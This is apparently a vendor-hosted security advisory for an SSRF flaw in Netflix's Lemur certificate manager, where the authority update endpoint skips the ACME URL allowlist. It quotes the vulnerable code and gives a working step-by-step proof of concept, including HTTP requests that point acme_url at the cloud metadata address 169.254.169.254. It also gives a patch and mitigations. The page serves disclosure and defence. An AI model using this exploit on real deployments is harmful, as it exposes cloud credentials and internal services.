Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

GHSA-v5rc-cpwc-cfpr — lemur

HIGHFix: Netflix/lemur@edca039

GHSA-v5rc-cpwc-cfpr is a high-severity (CVSS 7.7) Server-Side Request Forgery (SSRF) vulnerability in lemur. A fix is available for lemur — see the affected versions and patch details below.

Lemur: Incomplete fix for GHSA-v2wp-frmc-5q3v -- ACME authority update endpoint allows non-admin to replace `acme_url` with internal IP, bypassing allowlist

Also known asCVE-2026-71303PYSEC-2026-3679
Published
Aug 18, 2026
Updated
Aug 19, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-v5rc-cpwc-cfpr.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs18th percentile — riskier than 18% of all scored CVEsHighest risk
0.00%0.26%0.52%0.78%0.2%0.3%0.3%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-v5rc-cpwc-cfpr by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 382,205 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍lemur

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The fix for GHSA-v2wp-frmc-5q3v added _validate_acme_url() to reject acme_url values not in ACME_DIRECTORY_HOST_ALLOWLIST, but the validation is only called at authority creation time (POST). The authority update endpoint (PUT /api/1/authorities/<id>) accepts and stores arbitrary options -- including a modified acme_url -- without invoking the allowlist check. Any user with an authority role (granted by an admin to allow issuing certificates via that authority) can therefore overwrite the stored acme_url with an internal IP or IMDS endpoint. The next certificate issuance via that authority causes Lemur's backend to fetch the attacker-controlled URL, achieving SSRF.

Details

Where the fix lives (POST path -- protected):

lemur/plugins/lemur_acme/plugin.py lines 333-337 (ACMEIssuerPlugin.create_authority):

for option in plugin_options:
    if option.get("name") == "certificate":
        acme_root = option.get("value")
    if option.get("name") == "acme_url":
        _validate_acme_url(option.get("value", ""))   # allowlist enforced

_validate_acme_url at line 35:

def _validate_acme_url(url):
    """Reject acme_url values that are not in the configured allowlist.

    Called at authority creation time only -- existing authorities in the DB
    were already trusted when they were created and are not re-validated.
    """
    allowed_hosts = current_app.config.get(
        "ACME_DIRECTORY_HOST_ALLOWLIST",
        {"acme-v02.api.letsencrypt.org", ...},
    )
    parsed = urlparse(url)
    if parsed.scheme != "https" or parsed.hostname not in allowed_hosts:
        raise InvalidConfiguration(...)

Where the gap is (PUT path -- unprotected):

lemur/authorities/views.py lines 405-424 (Authorities.put):

authority = service.get(authority_id)
roles = [x.name for x in authority.roles]
permission = AuthorityPermission(authority_id, roles)

if not permission.can() or not StrictRolePermission().can():
    return dict(message="You are not authorized to update this authority."), 403

return service.update(
    authority_id,
    owner=data["owner"],
    description=data["description"],
    active=data["active"],
    roles=data["roles"],
    options=data.get("options")        # stored verbatim -- no ACME URL check
)

lemur/authorities/service.py lines 28-46 (update):

def update(authority_id, description, owner, active, roles, options=None):
    authority = get(authority_id)
    authority.roles = roles
    authority.active = active
    authority.description = description
    authority.owner = owner
    if options:
        authority.options = options    # written to DB with no _validate_acme_url call
    return database.update(authority)

Where the SSRF sink is:

lemur/plugins/lemur_acme/acme_handlers.py lines 157-188:

for option in json.loads(authority.options):
    options[option["name"]] = option.get("value")
directory_url = options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL"))
...
directory = ClientV2.get_directory(directory_url, net)   # outbound HTTP to stored URL

With the default configuration (LEMUR_STRICT_ROLE_ENFORCEMENT = False, reverted in 1.9.2 per the GHSA-qcqw-jwxc-2hqg correction), StrictRolePermission().can() passes for any non-read-only user. Any user granted membership in an authority's role group by an admin can therefore call PUT /api/1/authorities/<id> to overwrite acme_url with an arbitrary URL. The allowlist enforced at creation is silently discarded.

PoC

Prerequisites:

  • Lemur 1.9.2, default config (LEMUR_STRICT_ROLE_ENFORCEMENT not set, defaults to False)
  • Admin grants non-admin user membership in an ACME authority's role (normal operational step to allow certificate issuance)
  • Attacker has a valid Lemur session token

Step 1 -- Authenticate as the non-admin user (role: TestRootCA_operator):

POST /api/1/auth/login HTTP/1.1
Host: lemur.example.com
Content-Type: application/json

{"username": "alice", "password": "..."}

Response (truncated):

{"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

Step 2 -- Confirm identity (non-admin, no global operator role):

GET /api/1/auth/me HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Response:

{"username": "alice", "id": 2, "roles": [{"name": "TestRootCA_operator"}]}

Step 3 -- Overwrite acme_url with an internal IMDS endpoint via authority update:

PUT /api/1/authorities/1 HTTP/1.1
Host: lemur.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "owner": "[email protected]",
  "description": "Let's Encrypt Production",
  "active": true,
  "roles": [{"id": 5}, {"id": 6}, {"id": 7}],
  "options": "[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"
}

Response (HTTP 200 -- no validation error):

{
  "id": 1,
  "name": "TestRootCA",
  "description": "Let's Encrypt Production",
  "options": [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}],
  ...
}

Live validation output (observed on Lemur 1.9.2, 2026-06-19):

User: nonadvuln | ID: 2 | Roles: ['TestRootCA_operator']

PUT /api/1/authorities/1 -> HTTP 200
stored options: [{"name": "acme_url", "value": "http://169.254.169.254/latest/meta-data/"}]

DB confirm (psql):
SELECT options FROM authorities WHERE id=1;
"[{\"name\": \"acme_url\", \"value\": \"http://169.254.169.254/latest/meta-data/\"}]"

Step 4 -- Trigger SSRF:

Issue any certificate via authority 1 (using the same or any other user with certificate issuance rights). Lemur's celery worker calls AcmeHandler.setup_acme_client(), which executes:

directory_url = options.get("acme_url", ...)  # reads stored malicious URL
directory = ClientV2.get_directory(directory_url, net)  # outbound request

The backend issues an HTTP GET to http://169.254.169.254/latest/meta-data/, achieving SSRF to the instance metadata service (or any other internal endpoint the Lemur host can reach).

Suggested fix:

Call _validate_acme_url() inside service.update() (or in Authorities.put) whenever the options field is provided and the authority uses an ACME-based issuer plugin:

# in lemur/authorities/service.py  update()
if options:
    from lemur.plugins.lemur_acme.plugin import _validate_acme_url
    import json
    for opt in json.loads(options) if isinstance(options, str) else options:
        if opt.get("name") == "acme_url":
            _validate_acme_url(opt.get("value", ""))
    authority.options = options

Impact

An authenticated Lemur user who has been granted membership in any ACME authority's role group can overwrite that authority's acme_url with an arbitrary URL, bypassing the ACME_DIRECTORY_HOST_ALLOWLIST enforced at creation time. On the next certificate issuance via that authority, Lemur's backend issues an outbound HTTP request to the attacker-controlled URL. In cloud-hosted deployments this allows reading the instance metadata service (AWS IMDSv1, GCP metadata server, Azure IMDS), potentially yielding IAM credentials or other sensitive instance data. In on-premises or private-cloud deployments this allows probing internal services that the Lemur server can reach but external callers cannot.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIlemurall versions1.9.3pip install --upgrade 'lemur==1.9.3'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lemur, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update lemur to 1.9.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v5rc-cpwc-cfpr is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

### Summary The fix for GHSA-v2wp-frmc-5q3v added `_validate_acme_url()` to reject `acme_url` values not in `ACME_DIRECTORY_HOST_ALLOWLIST`, but the validation is only called at **authority creation time** (POST). The authority **update** endpoint (`PUT /api/1/authorities/<id>`) accepts and stores arbitrary `options` -- including a modified `acme_url` -- without invoking the allowlist check. Any user with an authority role (granted by an admin to allow issuing certificates via that authority) can therefore overwrite the stored `acme_url` with an internal IP or IMDS endpoint. The next certific
O3 Security · Impact-Aware SCA

Is GHSA-v5rc-cpwc-cfpr in your dependencies?

Find it across PyPI, including transitive dependencies.

GHSA-v5rc-cpwc-cfpr: lemur — Fixed in 1.9.3 | O3 Security